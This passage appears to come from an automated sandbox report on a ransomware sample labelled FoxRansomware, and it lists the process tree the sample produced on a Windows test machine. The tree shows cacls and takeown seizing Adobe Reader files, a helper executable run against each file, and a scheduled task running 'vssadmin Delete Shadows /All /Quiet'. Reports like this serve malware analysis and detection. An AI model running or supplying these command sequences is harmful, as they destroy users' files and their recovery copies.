                                                                                                                                  x8OFcCor.exe -accepteula "icudt26l.dat" -nobanner
                                                                                                                                  4⤵
                                                                                                                                    PID:1244
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                                                                                  x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                  3⤵
                                                                                                                                    PID:668
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT""
                                                                                                                                  2⤵
                                                                                                                                    PID:1104
                                                                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                      cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT" /E /G Admin:F /C
                                                                                                                                      3⤵
                                                                                                                                        PID:608
                                                                                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                        takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT"
                                                                                                                                        3⤵
                                                                                                                                        • Modifies file permissions
                                                                                                                                        PID:1176
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "ROMANIAN.TXT" -nobanner
                                                                                                                                        3⤵
                                                                                                                                          PID:324
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                                                                                            x8OFcCor.exe -accepteula "ROMANIAN.TXT" -nobanner
                                                                                                                                            4⤵
                                                                                                                                              PID:564
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                                                                                            x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                            3⤵
                                                                                                                                              PID:820
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT""
                                                                                                                                            2⤵
                                                                                                                                              PID:1760
                                                                                                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT" /E /G Admin:F /C
                                                                                                                                                3⤵
                                                                                                                                                  PID:596
                                                                                                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                  takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT"
                                                                                                                                                  3⤵
                                                                                                                                                  • Modifies file permissions
                                                                                                                                                  PID:1956
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "CP1258.TXT" -nobanner
                                                                                                                                                  3⤵
                                                                                                                                                    PID:1764
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                                                                                                      x8OFcCor.exe -accepteula "CP1258.TXT" -nobanner
                                                                                                                                                      4⤵
                                                                                                                                                        PID:1188
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                                                                                                                      x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                      3⤵
                                                                                                                                                        PID:1920
                                                                                                                                                  • C:\Windows\system32\taskeng.exe
                                                                                                                                                    taskeng.exe {EB7F2D72-EF81-4BC1-8E6E-4B80A86774C3} S-1-5-21-2329389628-4064185017-3901522362-1000:QSKGHMYQ\Admin:Interactive:[1]
                                                                                                                                                    1⤵
                                                                                                                                                      PID:1684
                                                                                                                                                      • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                        C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\uPd6kpQD.bat"
                                                                                                                                                        2⤵
                                                                                                                                                          PID:588
                                                                                                                                                          • C:\Windows\system32\vssadmin.exe
                                                                                                                                                            vssadmin Delete Shadows /All /Quiet
                                                                                                                                                            3⤵
                                                                                                                                                            • Interacts with shadow copies
                                                                                                                                                            PID:1600
                                                                                                                                                      • C:\Windows\system32\vssvc.exe
                                                                                                                                                        C:\Windows\system32\vssvc.exe
                                                                                                                                                        1⤵
                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                        PID:992

                                                                                                                                                      Network

                                                                                                                                                      MITRE ATT&CK Enterprise v6

                                                                                                                                                      Replay Monitor

                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                      Downloads

                                                                                                                                                      • memory/1552-55-0x0000000075B11000-0x0000000075B13000-memory.dmp

                                                                                                                                                        Filesize

                                                                                                                                                        8KB

                                                                                                                                                        Download

                                                                                                                                                      • memory/2040-66-0x00000000023A0000-0x0000000002FEA000-memory.dmp

                                                                                                                                                        Filesize

                                                                                                                                                        12.3MB

                                                                                                                                                        Download

                                                                                                                                                      • memory/2040-65-0x00000000023A0000-0x0000000002FEA000-memory.dmp

                                                                                                                                                        Filesize

                                                                                                                                                        12.3MB

                                                                                                                                                        Download

                                                                                                                                                      • memory/2040-64-0x00000000023A0000-0x0000000002FEA000-memory.dmp

                                                                                                                                                        Filesize

                                                                                                                                                        12.3MB

                                                                                                                                                        Download